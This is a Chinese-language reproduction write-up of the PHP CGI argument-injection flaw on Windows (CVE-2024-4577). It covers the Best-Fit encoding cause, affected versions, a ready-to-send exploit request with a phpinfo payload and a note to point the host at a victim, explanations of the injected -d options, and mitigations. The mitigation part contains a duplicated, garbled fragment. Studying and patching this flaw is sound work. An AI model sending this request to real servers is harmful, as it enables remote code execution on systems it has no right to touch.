PHP CGI Windows平台远程代码执行漏洞复现
1.漏洞描述:
PHP(Hypertext Preprocessor,超文本预处理器)是一种广泛使用的开源脚本语言,主要用于Web开发,用于生成动态网页内容。PHP的语法借鉴了C、Java、Perl等语言的特点,易于学习,并且可以快速执行。
漏洞产生的本质其实是Windows系统内字符编码转换的Best-Fit特性导致的,导致未经身份认证的远程攻击者可以通过特定的字符序列绕过此前CVE-2012-1823的防护,通过参数注入攻击在远程PHP服务器上执行任意代码,从而导致远程代码执行。
由于Windows系统内字符编码转换的Best-Fit特性导致PHP原本的安全限制被绕过,再加上一些特殊的PHP CGI环境配置导致了这个问题,最终导致漏洞利用的算是一些PHP的小技巧
影响范围:
这个漏洞理论上影响PHP的所有版本
- PHP 8.3 < 8.3.8
- PHP 8.2 < 8.2.20
- PHP 8.1 < 8.1.29
除此之外的其他PHP版本官方已经不再维护了,包括PHP8.0、PHP7、PHP5在内,但是理论上来说他们都受到这个影响。
2.漏洞复现
环境搭建:https://www.apachefriends.org/zh_cn/index.html
直接下载XAMPP ,启动mysql和apache,默认配置直接命令执行,不需要进行额外配置,直接点击启动就可以
exp:(将host修改为受害主机)
POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+allow_url_include%3Don+%ADd+auto_prepend_file%3Dphp%3A//input HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11.2; rv:122.0) Gecko/20000101 Firefox/122.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Redirect-Status: 1
Content-Length: 22
<?php phpinfo() ?>
注:
- 这里的请求POST或者GET皆可,没有区别。
- 正文里面的字段为需要执行的语句,需要以PHP文件的形式
-d allow_url_include=on
控制允许在include、include_once、require、require_once等函数中使用URL作为文件名,可以远程url加载执行php代码
-d auto_prepend_file=php://input
php://input流通常用于读取POST数据,而-d auto_prepend_file则指定了包含的php脚本为POST输入
-d cgi.force_redirect=0
xampp默认没开cgi,在原理层面其实是apache使用scriptalias把php-cgi.exe映射到web目录下面了,这种情况下cgi.force_redirect限制了你通过url直接访问exe,所以最稳定的poc是加上-d cgi.force_redirect=0
原因就是为了验证请求是通过Web服务器的Action指令发起的,而不是用户直接对php-cgi进行的请求,php-cgi设置了“cgi.force_redirect”这一安全特性。该特性默认开启,它确保只有遵循特定重定向流程的请求才会被php-cgi处理,这样可以有效避免直接对php-cgi的潜在不当访问,于是在POC中添加-d cgi.force_redirect=0关闭这个校验规则,就可绕过限制。
3.漏洞修复
将PHP升级到官方最新版本 8.3.8、8.2.20和8.1.29。下载链接:https://www.php.net/downloads.php
缓解方案:
1.不方便更新版本的Windows用户,建议暂时关闭php-cgi的使用。
2.以下重写规则可用于阻止攻击。需要注意的是,这些规则仅对繁体中文、简体中文和日语语言环境起到临时缓解作用。在实际操作中,仍然建议更新到补丁版本或迁移架构。
RewriteEngine On
RewriteCond %{QUERY_STRING} ^%ad [NC]
RewriteRule .? - [F,L]
3.对于使用 XAMPP for Windows 的用户:
如果确认不需要 PHP CGI 功能,可以通过修改以下 Apache HTTP Server 配置来避免受到该漏洞的影响:
C:/xampp/apache/conf/extra/httpd-xampp.conf
找到相应的行:
ScriptAlias /php-cgi/ “C:/xampp/php/”
并将其注释掉:
f/extra/httpd-xampp.conf
找到相应的行:
ScriptAlias /php-cgi/ “C:/xampp/php/”
并将其注释掉:
# ScriptAlias /php-cgi/ “C:/xampp/php/”
参考链接:
PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577)复现_cve-2024-4577漏洞复现-CSDN博客